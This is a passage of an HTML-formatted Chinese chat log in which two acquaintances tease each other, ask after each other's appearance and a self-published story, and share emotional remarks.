width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:42:21\u003c/h2\u003e\r\n\u003ch2\u003e去年暑假我可曾说过什么喜糖？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:42:40\u003c/h2\u003e\r\n\u003ch2\u003e喜糖是过年期间我在深圳说的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:42:46\u003c/h2\u003e\r\n\u003ch2\u003e你当面说谎的能力也不比我差的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:43:17\u003c/h2\u003e\r\n\u003ch2\u003e我倒不明白了——我对你说什么了？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:43:32\u003c/h2\u003e\r\n\u003ch2\u003e把陈年旧事拿出来就想对我说这些么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:43:54\u003c/h2\u003e\r\n\u003ch2\u003e我肯定不想说上面那些 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:44:17\u003c/h2\u003e\r\n\u003ch2\u003e但是你也太咄咄逼人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:44:41\u003c/h2\u003e\r\n\u003ch2\u003e大家都明知是玩笑话，就不必太当真了，太真太坏\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:44:46\u003c/h2\u003e\r\n\u003ch2\u003e上了大学就是这长进——脾气见坏了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:44:56\u003c/h2\u003e\r\n\u003ch2\u003e呵呵，是有点\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:45:23\u003c/h2\u003e\r\n\u003ch2\u003e是的，去年暑假的小公子如今长大了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:45:41\u003c/h2\u003e\r\n\u003ch2\u003e说话都能杀人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:45:45\u003c/h2\u003e\r\n\u003ch2\u003e说的我很伤心啊……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:46:02\u003c/h2\u003e\r\n\u003ch2\u003e知道你不会伤心 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:46:14\u003c/h2\u003e\r\n\u003ch2\u003e哎！你不也是一样的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:46:27\u003c/h2\u003e\r\n\u003ch2\u003e我自己知道跟你不一样 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:46:35\u003c/h2\u003e\r\n\u003ch2\u003e老天也知道 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:46:38\u003c/h2\u003e\r\n\u003ch2\u003e看样子最近小埃同学肯定是没找到个对嘴的人\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:46:40\u003c/h2\u003e\r\n\u003ch2\u003e你自然是不知道的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:47:28\u003c/h2\u003e\r\n\u003ch2\u003e别再说狠话了， \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:47:42\u003c/h2\u003e\r\n\u003ch2\u003e你我都没必要 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:47:52\u003c/h2\u003e\r\n\u003ch2\u003e你现在多高了？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:48:14\u003c/h2\u003e\r\n\u003ch2\u003e问这个干什么，上了个大学什么也没有长进\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:48:39\u003c/h2\u003e\r\n\u003ch2\u003e只是想知道你现在的大概样子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:48:59\u003c/h2\u003e\r\n\u003ch2\u003e没有变化吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:49:09\u003c/h2\u003e\r\n\u003ch2\u003e瘦了？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:49:18\u003c/h2\u003e\r\n\u003ch2\u003e没长高么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:49:25\u003c/h2\u003e\r\n\u003ch2\u003e…………嗯……是瘦了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:49:27\u003c/h2\u003e\r\n\u003ch2\u003e长高就一定会瘦一点的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:49:38\u003c/h2\u003e\r\n\u003ch2\u003e应该没吧，只是体重减轻了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:49:46\u003c/h2\u003e\r\n\u003ch2\u003e长头发还是短头发 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:50:09\u003c/h2\u003e\r\n\u003ch2\u003e长的吧，邋遢了点，要去理了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:50:31\u003c/h2\u003e\r\n\u003ch2\u003e你怎么搞的？上大学应该比高中轻松，怎么体重减轻了呢 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:50:52\u003c/h2\u003e\r\n\u003ch2\u003e长一点好看些吧？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:50:56\u003c/h2\u003e\r\n\u003ch2\u003e感动啊！！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:51:03\u003c/h2\u003e\r\n\u003ch2\u003e小孩子别理太短 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:51:23\u003c/h2\u003e\r\n\u003ch2\u003e我不愿意梳头，不想留长\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:51:27\u003c/h2\u003e\r\n\u003ch2\u003e小孩子？！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:51:34\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:51:37\u003c/h2\u003e\r\n\u003ch2\u003e不好意思 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:51:43\u003c/h2\u003e\r\n\u003ch2\u003e习惯这样 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:51:46\u003c/h2\u003e\r\n\u003ch2\u003e说你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:51:49\u003c/h2\u003e\r\n\u003ch2\u003e对不起 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:51:53\u003c/h2\u003e\r\n\u003ch2\u003e嗯，了解！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:52:02\u003c/h2\u003e\r\n\u003ch2\u003e还是这样吧，更亲切点\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:52:20\u003c/h2\u003e\r\n\u003ch2\u003e知道你长成小伙子了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:52:30\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:52:31\u003c/h2\u003e\r\n\u003ch2\u003e不再是去年的…… \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:52:41\u003c/h2\u003e\r\n\u003ch2\u003e别这样说了……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:52:57\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:53:04\u003c/h2\u003e\r\n\u003ch2\u003e我眼泪都掉下来了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:53:11\u003c/h2\u003e\r\n\u003ch2\u003e不是吧……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:53:20\u003c/h2\u003e\r\n\u003ch2\u003e人与事都这样的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:54:27\u003c/h2\u003e\r\n\u003ch2\u003e小埃同学最近日子过的舒坦否？看你空间日志好像都是在发泄额！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:55:02\u003c/h2\u003e\r\n\u003ch2\u003e不存在发泄一说 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:55:42\u003c/h2\u003e\r\n\u003ch2\u003e只是随着意念打出的字 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:55:59\u003c/h2\u003e\r\n\u003ch2\u003e那还不是发泄？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:56:21\u003c/h2\u003e\r\n\u003ch2\u003e应该不是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:56:37\u003c/h2\u003e\r\n\u003ch2\u003e你似乎还不太懂“发泄”的意思 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:56:44\u003c/h2\u003e\r\n\u003ch2\u003e额，你说不是就不是吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:57:03\u003c/h2\u003e\r\n\u003ch2\u003e发泄，是一种目的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:57:10\u003c/h2\u003e\r\n\u003ch2\u003e我打字是没有目的的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:57:50\u003c/h2\u003e\r\n\u003ch2\u003e发泄没有目的，只有输出\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:57:50\u003c/h2\u003e\r\n\u003ch2\u003e你现在在家？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:57:57\u003c/h2\u003e\r\n\u003ch2\u003e在学校\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:58:05\u003c/h2\u003e\r\n\u003ch2\u003e还没放假？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:58:10\u003c/h2\u003e\r\n\u003ch2\u003e有点奇怪了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:58:15\u003c/h2\u003e\r\n\u003ch2\u003e放假了，只是还在学校\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:58:34\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:00:06\u003c/h2\u003e\r\n\u003ch2\u003e对了，兄弟恋出书了？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:00:35\u003c/h2\u003e\r\n\u003ch2\u003e你买不到的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:00:45\u003c/h2\u003e\r\n\u003ch2\u003e怎么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:01:02\u003c/h2\u003e\r\n\u003ch2\u003e我手里都只剩下一本了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:01:17\u003c/h2\u003e\r\n\u003ch2\u003e哦，是自己印刷的吧……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:01:46\u003c/h2\u003e\r\n\u003ch2\u003e我有那么钱排版印刷？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:02:19\u003c/h2\u003e\r\n\u003ch2\u003e我看过别的小说作者做同人志呀，想要的付钱，然后作者去印刷就行了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:02:56\u003c/h2\u003e\r\n\u003ch2\u003e我好象不太适合做这个事 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:03:06\u003c/h2\u003e\r\n\u003ch2\u003e说的也是\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:04:20\u003c/h2\u003e\r\n\u003ch2\u003e可以看看你的手不？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:04:32\u003c/h2\u003e\r\n\u003ch2\u003e为什么要看手？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:04:45\u003c/h2\u003e\r\n\u003ch2\u003e我的手太小，手指太短\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:04:55\u003c/h2\u003e\r\n\u003ch2\u003e因为你不想让我看你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:05:08\u003c/h2\u003e\r\n\u003ch2\u003e只看看你的手 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:05:10\u003c/h2\u003e\r\n\u003ch2\u003e什么理由么\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:05:16\u003c/h2\u003e\r\n\u003ch2\u003e看一只手即可 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:05:39\u003c/h2\u003e\r\n\u003ch2\u003e算了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:05:43\u003c/h2\u003e\r\n\u003ch2\u003e吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:06:02\u003c/h2\u003e\r\n\u003ch2\u003e不是不给，是不想；\r\n不是不想，是害怕；\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:06:43\u003c/h2\u003e\r\n\u003ch2\u003e不明白你的话 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:06:54\u003c/h2\u003e\r\n\u003ch2\u003e但我不问你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:07:04\u003c/h2\u003e\r\n\u003ch2\u003e我知道你没有这个习惯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:07:52\u003c/h2\u003e\r\n\u003ch2\u003e只是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:08:03\u003c/h2\u003e\r\n\u003ch2\u003e止不住眼泪 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:08:20\u003c/h2\u003e\r\n\u003ch2\u003e因为，怡红公子 